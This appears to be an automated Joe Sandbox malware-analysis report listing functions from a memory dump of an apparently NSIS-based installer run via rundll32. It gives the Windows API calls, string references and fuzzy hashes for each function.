String ID: C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp\nsExec.dll
API String ID: 1492249872-3643543473
Opcode ID: b7c34f1dee21d1ae6e3b138605fded7ea0c74cbb41773b7fad27fc24aa001922
Instruction ID: 84d65fdf65d9813c97a16e2e3e1aa71ddec853da59a3d1ba355aefc4e56b878f
Opcode Fuzzy Hash: b7c34f1dee21d1ae6e3b138605fded7ea0c74cbb41773b7fad27fc24aa001922
Instruction Fuzzy Hash: 663148312083019BD728DE66E844B7F77A9FBCA360F11061DF5A586280EB75F884A752

Uniqueness

Uniqueness Score: -1.00%

Function 045E30C6 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 045E30EA
wsprintfW.USER32 ref: 045E3123
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 045E3137

Strings

%s%S.dll, xrefs: 045E311D
\, xrefs: 045E30FA
UXTHEME, xrefs: 045E30D9, 045E3113

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: c147ff28cb93cbfe7a9b85aa9a467d62daf1009fd7e65fcb24bc01c5c2077254
Instruction ID: 295c1ceb418a64a0eb7fad0edf05143f93936af6cdf1bd2eddcc66bf48ce331f
Opcode Fuzzy Hash: c147ff28cb93cbfe7a9b85aa9a467d62daf1009fd7e65fcb24bc01c5c2077254
Instruction Fuzzy Hash: C001A231600204DBE72CDB6ADC4DBBB7BA8FB45704F1844ADAA09D3180FAB4FD848A50

Uniqueness

Uniqueness Score: -1.00%

Function 045E1E84 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 045E1EFA
GetTickCount.KERNEL32 ref: 045E1FB2
MulDiv.KERNEL32(?,00000064,?), ref: 045E1FE2
wsprintfW.USER32 ref: 045E1FF3

Strings

... %d%%, xrefs: 045E1FED

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: 41ccfd744600439fa824c60c945b879cda7b9eb60cfa3d15425e9e9b85034bb9
Instruction ID: 45e4d0b2b995cf1c8cbbf97cce9f98ea1b70914612302e74cb0834db93fa2738
Opcode Fuzzy Hash: 41ccfd744600439fa824c60c945b879cda7b9eb60cfa3d15425e9e9b85034bb9
Instruction Fuzzy Hash: 77517F706087029BE728CF26E54063BB7E9FBC8744F10496EF859C7284EB75E905DB92

Uniqueness

Uniqueness Score: -1.00%

Function 045F2C01 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysStringLen.OLEAUT32(?), ref: 045F2B9C
CoUninitialize.OLE32(?,?,?,?,?,?,?,?,7FFFFFFF), ref: 045F2DC4
SysFreeString.OLEAUT32(00000000), ref: 045F2DD1
SysFreeString.OLEAUT32(?), ref: 045F2DD6
SysFreeString.OLEAUT32(00000000), ref: 045F2DD9

Strings

S&%, xrefs: 045F2C34

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: String$Free$Uninitialize
String ID: S&%
API String ID: 3438782679-2433871640
Opcode ID: ac5283d9155105df91dc8667378af2a778f43ca4b0e597f3faa3863f38ea95ee
Instruction ID: cbed4c6e69a6451452cba3e889934af63b855353b4b42a4638f1dc0f81514327
Opcode Fuzzy Hash: ac5283d9155105df91dc8667378af2a778f43ca4b0e597f3faa3863f38ea95ee
Instruction Fuzzy Hash: DF415970E01209EBCF18DFA5DC909EEB7B5FF88304B1045ADE516AB250DB32A946DB51

Uniqueness

Uniqueness Score: -1.00%

Function 045E9F7C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,?), ref: 045E9FD1
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 045EA03F
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 045EA0A3
CloseHandle.KERNEL32(00000000), ref: 045EA0AA

Strings

end_install, xrefs: 045E9F83

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: File$CloseCreateHandleModuleNameWrite
String ID: end_install
API String ID: 1149019145-3120950416
Opcode ID: d01ef098ae0b57a67ba61f901cc3e5e080d7e0a4b1632d240ff2fc0b7b128f6a
Instruction ID: ea8104560889e11b0b86b9fa08117b9a2424c5de1adf1a15ad09e5d02b06b1c0
Opcode Fuzzy Hash: d01ef098ae0b57a67ba61f901cc3e5e080d7e0a4b1632d240ff2fc0b7b128f6a
Instruction Fuzzy Hash: 4C319671900215ABDB38DF64EC59FFE7378FF44714F400299EA0AA2190EB706A84CB51

Uniqueness

Uniqueness Score: -1.00%

Function 045E4916 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 80
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp,000000FF,C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp\nsExec.dll,00000400,00000000,00000000), ref: 045E4973
lstrlenA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp\nsExec.dll), ref: 045E497A

Strings

C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp\nsExec.dll, xrefs: 045E492A, 045E494A, 045E4969, 045E4979, 045E49D1
C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp, xrefs: 045E496C

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp$C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp\nsExec.dll
API String ID: 3109718747-1825180080
Opcode ID: 9f3feb40b0fc4871981d5eb964874afc046663cd44cd4e55d9a7e1e166e3ef0f
Instruction ID: 8c1d33b13c55180aee2c7c4bb981788547f920ef56776688349d6b494e928bf9
Opcode Fuzzy Hash: 9f3feb40b0fc4871981d5eb964874afc046663cd44cd4e55d9a7e1e166e3ef0f
Instruction Fuzzy Hash: 8C21D6317043014BEB28DF66A84063FB3DABFC5254F12496DFA95E7240EA74EC01A751

Uniqueness

Uniqueness Score: -1.00%

Function 045E8295 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 325COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 045E82B7
GetVolumeInformationW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 045E82E4
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 045E83A3

Strings

%02x, xrefs: 045E8609

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Path$FolderInformationTempVolume
String ID: %02x
API String ID: 355044727-560843007
Opcode ID: df9f44b2d78b5c4e3439b982da00218c2ff5e14118ae1dbd859404151a12c924
Instruction ID: 0eb32f5da1a8d65816528ff582de99a8104b1785659b9b7a3ae174f82315d6bd
Opcode Fuzzy Hash: df9f44b2d78b5c4e3439b982da00218c2ff5e14118ae1dbd859404151a12c924
Instruction Fuzzy Hash: 73D1F2B19002199BEB28DF24CC84BFEB779BF45308F1446D9D649A7281EB30BAC49F55

Uniqueness

Uniqueness Score: -1.00%

Function 045E3DEF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000000,?,?), ref: 045E3E70
SendMessageW.USER32(00000000,00000000,00000000,00000000), ref: 045E3E89

Strings

!, xrefs: 045E3E38

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 31432bbf3f828e93058006ec410de7541bbdd744907db6d4d2570f0d473cf1f8
Instruction ID: c1088bd348e76ac974763d31fd452b4214b8e0d6da7bc2ec594037a50f3693fb
Opcode Fuzzy Hash: 31432bbf3f828e93058006ec410de7541bbdd744907db6d4d2570f0d473cf1f8
Instruction Fuzzy Hash: 7421C1716043119BE73CDF269859B3F77E9FBC4754F00092DF98A87281EA70AD44AA91

Uniqueness

Uniqueness Score: -1.00%

Function 045E46E9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76registrystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp), ref: 045E4743

Part of subcall function 045E1E84: GetTickCount.KERNEL32 ref: 045E1EFA
Part of subcall function 045E1E84: GetTickCount.KERNEL32 ref: 045E1FB2
Part of subcall function 045E1E84: MulDiv.KERNEL32(?,00000064,?), ref: 045E1FE2
Part of subcall function 045E1E84: wsprintfW.USER32 ref: 045E1FF3

RegSetValueExW.KERNEL32(?,?,00000000,?,C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp,00000000), ref: 045E47A3
RegCloseKey.KERNEL32(?), ref: 045E47B0

Strings

C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp, xrefs: 045E473E, 045E4761, 045E4783, 045E4794

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CountTick$CloseValuelstrlenwsprintf
String ID: C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp
API String ID: 3465457590-3389221655
Opcode ID: f2715ee0cbda8d797443a40a9e355b267cd0a206d0f8130317c49bc3b903e183
Instruction ID: ed2072b562ac27bfa1b14e9db09618ee8258200543766bc58317d506ddb2bde7
Opcode Fuzzy Hash: f2715ee0cbda8d797443a40a9e355b267cd0a206d0f8130317c49bc3b903e183
Instruction Fuzzy Hash: D12125327483009BD768AFB6A844B3FB3D6FBC9704F11081DF69487140EAB4A941EB81

Uniqueness

Uniqueness Score: -1.00%

Function 045E266E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(C:\,003A0043,00000400,003A0043,00000007,045E238D,00000000,00000000,?,00000000), ref: 045E267C

Part of subcall function 045E2610: CharNextW.USER32(00000000,00000000,02D6B138,?,00000001,045E367C), ref: 045E261D
Part of subcall function 045E2610: CharNextW.USER32(00000000,?,00000001,045E367C), ref: 045E2622
Part of subcall function 045E2610: CharNextW.USER32(00000000,?,00000001,045E367C), ref: 045E263C

Part of subcall function 045E2FDE: CharNextW.USER32(045E1393,00000020,771B3420,?,00000000,045E10B0,04E7A820,045E1393), ref: 045E3051
Part of subcall function 045E2FDE: CharNextW.USER32(045E1393,00000000,?,00000000,045E10B0,04E7A820,045E1393), ref: 045E3062
Part of subcall function 045E2FDE: CharNextW.USER32(045E1393,00000020,771B3420,?,00000000,045E10B0,04E7A820,045E1393), ref: 045E3067
Part of subcall function 045E2FDE: CharPrevW.USER32(045E1393,045E1393,00000020,771B3420,?,00000000,045E10B0,04E7A820,045E1393), ref: 045E307F

lstrlenW.KERNEL32(C:\,00000000,?,00000000), ref: 045E26C7
GetFileAttributesW.KERNEL32(C:\,?,00000000), ref: 045E26D9

Part of subcall function 045E30A4: FindFirstFileW.KERNEL32(00000000,046407A0,00000000,045E3740), ref: 045E30AC
Part of subcall function 045E30A4: FindClose.KERNEL32(00000000), ref: 045E30B8

Strings

C:\, xrefs: 045E2676, 045E267B, 045E26C6, 045E26D8

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Char$Next$FileFind$AttributesCloseFirstPrevlstrcpynlstrlen
String ID: C:\
API String ID: 1879705256-3404278061
Opcode ID: dce8e28884a4b90399f4d2e36e1da2168cac23d6afe77849ac8c6aca1f3267ca
Instruction ID: 8cabb9b682afc7c3040be85f54548428b6a9af6e0adccc99c128f246516a2c6c
Opcode Fuzzy Hash: dce8e28884a4b90399f4d2e36e1da2168cac23d6afe77849ac8c6aca1f3267ca
Instruction Fuzzy Hash: B8F0D1712006219BEB3C2ABA2D9423A265CBF45659F041FEAFC13E21C9EE64F940F160

Uniqueness

Uniqueness Score: -1.00%

Function 045E282E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 045E2857
GetTempFileNameW.KERNEL32(04E93820,0073006E,00000000,04E93020), ref: 045E2870

Strings

a, xrefs: 045E2850
n, xrefs: 045E2849

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: a$n
API String ID: 1716503409-3988182524
Opcode ID: 8871f4076658617926ef88b69fbbd8529a6db3018754245f029086147cc7d2d1
Instruction ID: f690497b3568a95fab463542cfc86e4ebc3163ade26457a270f98a17e8e05d04
Opcode Fuzzy Hash: 8871f4076658617926ef88b69fbbd8529a6db3018754245f029086147cc7d2d1
Instruction Fuzzy Hash: 9AF0A431B04309EBD718DF659C45BAEB7ADEF84714F1480ABE50196141E6B459448764

Uniqueness

Uniqueness Score: -1.00%

Function 045E2797 Relevance: 6.1, APIs: 4, Instructions: 52filestringCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(003A0043,00000000,00000400,00000000,00000000), ref: 045E27BB
CreateFileW.KERNEL32(003A0043,80000000,00000001,00000000,?,00000000,00000000), ref: 045E27D4
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 045E27EC
lstrcmpW.KERNEL32(003A0043,?), ref: 045E27F8

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: File$AttributesCreateModuleNamelstrcmp
String ID:
API String ID: 3034808285-0
Opcode ID: cb6bda5df4c135794fb5873050841660ce77759f2aef5492f32c062ba3f4733d
Instruction ID: 97a79227f2619966830c9471889fe34dde342528ff4055c1acb054f9399a6a94
Opcode Fuzzy Hash: cb6bda5df4c135794fb5873050841660ce77759f2aef5492f32c062ba3f4733d
Instruction Fuzzy Hash: E501B5B12443046FE728DB65DC9AF7BB79CEB88710F00453EBA16C3280F5B46C4486A1

Uniqueness

Uniqueness Score: -1.00%

Function 045E21BB Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00000000), ref: 045E21FD
GetLastError.KERNEL32 ref: 045E2207
SetFileSecurityW.ADVAPI32(00000000,80000007,00000001), ref: 045E221E
GetLastError.KERNEL32 ref: 045E222C

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: a2343518a46565c18b7b620d79013f17c55d59724459f9f4d946579232fcf154
Instruction ID: 2c421bd3e9525612b283a00d86246c2dc3818425bb9a35f37599f8cc1039da91
Opcode Fuzzy Hash: a2343518a46565c18b7b620d79013f17c55d59724459f9f4d946579232fcf154
Instruction Fuzzy Hash: C7017871D00209DFEB24CFA5E848BBEBBF8FF08305F104959E506E2101E7B8AA448B61

Uniqueness

Uniqueness Score: -1.00%

Function 045E2BAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000800,00000000,02D6B138,00000000,00000800,00000000,02D6B138,?,Exec,80000002,80000002,00000002,045E2E5C,Exec,Exec), ref: 045E2BEC
RegCloseKey.ADVAPI32(?), ref: 045E2BF7

Strings

Exec, xrefs: 045E2BB0

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CloseQueryValue
String ID: Exec
API String ID: 3356406503-459137531
Opcode ID: bdc68afa3aacd1bca6eefc3e2abe2218e009115439eed4fedf5e15ebfdb9c68b
Instruction ID: a49fc03dbb3523dcb2f10ef4cbc3834dd2922745ce5c7cb4dfe2b0926631cd8c
Opcode Fuzzy Hash: bdc68afa3aacd1bca6eefc3e2abe2218e009115439eed4fedf5e15ebfdb9c68b
Instruction Fuzzy Hash: 81011A7A51021ABBDB298FA6DC06AEA77FCFF44304F100565F905D2114E3B4EA94DB90

Uniqueness

Uniqueness Score: -1.00%

Function 045E314B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,UXTHEME,045E11B9), ref: 045E3157
GetProcAddress.KERNEL32(00000000), ref: 045E3174

Part of subcall function 045E30C6: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 045E30EA
Part of subcall function 045E30C6: wsprintfW.USER32 ref: 045E3123
Part of subcall function 045E30C6: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 045E3137

Strings

UXTHEME, xrefs: 045E314B

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID: UXTHEME
API String ID: 2547128583-2858369361
Opcode ID: 6f6551a021ec877502ead7716638bdaae4e054c164b1ad5d080e70f1dc5ba18c
Instruction ID: a0579ec02c7fbc3f7ab2bf18630ab6a90a1569cd346a777ac1ff56df82a20a1c
Opcode Fuzzy Hash: 6f6551a021ec877502ead7716638bdaae4e054c164b1ad5d080e70f1dc5ba18c
Instruction Fuzzy Hash: 67D05B31200010975B2D1777B81457F369DFFD6511709501FE802C3130E79CDC4267A0

Uniqueness

Uniqueness Score: -1.00%

Function 045E2773 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(Exec,Exec,00000001,045E3935,Exec,?,?), ref: 045E2778
SetFileAttributesW.KERNEL32(Exec,00000000,?,?), ref: 045E278C

Strings

Exec, xrefs: 045E2774, 045E2777, 045E278B

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: AttributesFile
String ID: Exec
API String ID: 3188754299-459137531
Opcode ID: 2dfb4ea71f0b213bc8722456c638a64c5ef93689b1096df7b730139470153344
Instruction ID: ef8bafbf54c750e8321638273bc01ff7e28db804a50348b44062dc3ec5f5957a
Opcode Fuzzy Hash: 2dfb4ea71f0b213bc8722456c638a64c5ef93689b1096df7b730139470153344
Instruction Fuzzy Hash: B8D01332601430574314217DFC4C4BB976DD9D6E713154395F471D32D4FBA45C435190

Uniqueness

Uniqueness Score: -1.00%

Function 045E47BB Relevance: 4.6, APIs: 3, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?), ref: 045E47B0
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,?,?,?), ref: 045E47F5
wsprintfW.USER32 ref: 045E483D

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CloseQueryValuewsprintf
String ID:
API String ID: 2691868063-0
Opcode ID: f64c7681fe5fde292fdebfe74f03ca251644319e4e86c28798228823a5a03b6d
Instruction ID: 54eefc2e8ec01afb4c33fd9ebf14b886a4093363964dd80f77ccf7509c82a1ca
Opcode Fuzzy Hash: f64c7681fe5fde292fdebfe74f03ca251644319e4e86c28798228823a5a03b6d
Instruction Fuzzy Hash: 4D11E6316083409FDB2C8F65E85497F73E4FF8A309F00493DE54A96100E7347A05EA4A

Uniqueness

Uniqueness Score: -1.00%

Function 045E4516 Relevance: 4.6, APIs: 3, Instructions: 57stringCOMMON

Download Yara Rule

APIs

Part of subcall function 045E30A4: FindFirstFileW.KERNEL32(00000000,046407A0,00000000,045E3740), ref: 045E30AC
Part of subcall function 045E30A4: FindClose.KERNEL32(00000000), ref: 045E30B8

lstrlenW.KERNEL32 ref: 045E4564
lstrlenW.KERNEL32(00000000), ref: 045E456E
SHFileOperationW.SHELL32(?), ref: 045E459C

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: ff5d7204ae5007c35024f2a6b51f4d3acfbf3714edb625213c5ca3b4ce887273
Instruction ID: c4c392bd24b0bdd67af8777704842e4ddea6f69efde980a1b6a06a34e749e864
Opcode Fuzzy Hash: ff5d7204ae5007c35024f2a6b51f4d3acfbf3714edb625213c5ca3b4ce887273
Instruction Fuzzy Hash: 6B11BC31A083008BDB2CEF7AA84563FF7E4BFC4310F40882EE945C3291EA75E8049B46

Uniqueness

Uniqueness Score: -1.00%

Function 045E2324 Relevance: 4.5, APIs: 3, Instructions: 30fileCOMMON

Download Yara Rule

APIs

Part of subcall function 045E2773: GetFileAttributesW.KERNEL32(Exec,Exec,00000001,045E3935,Exec,?,?), ref: 045E2778
Part of subcall function 045E2773: SetFileAttributesW.KERNEL32(Exec,00000000,?,?), ref: 045E278C

RemoveDirectoryW.KERNEL32(003A0043,00000007,003A0043,00000007,045E2515), ref: 045E233D
SetFileAttributesW.KERNEL32(003A0043,00000000), ref: 045E234E
DeleteFileW.KERNEL32(003A0043,00000007,003A0043,00000007,045E2515), ref: 045E235A

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

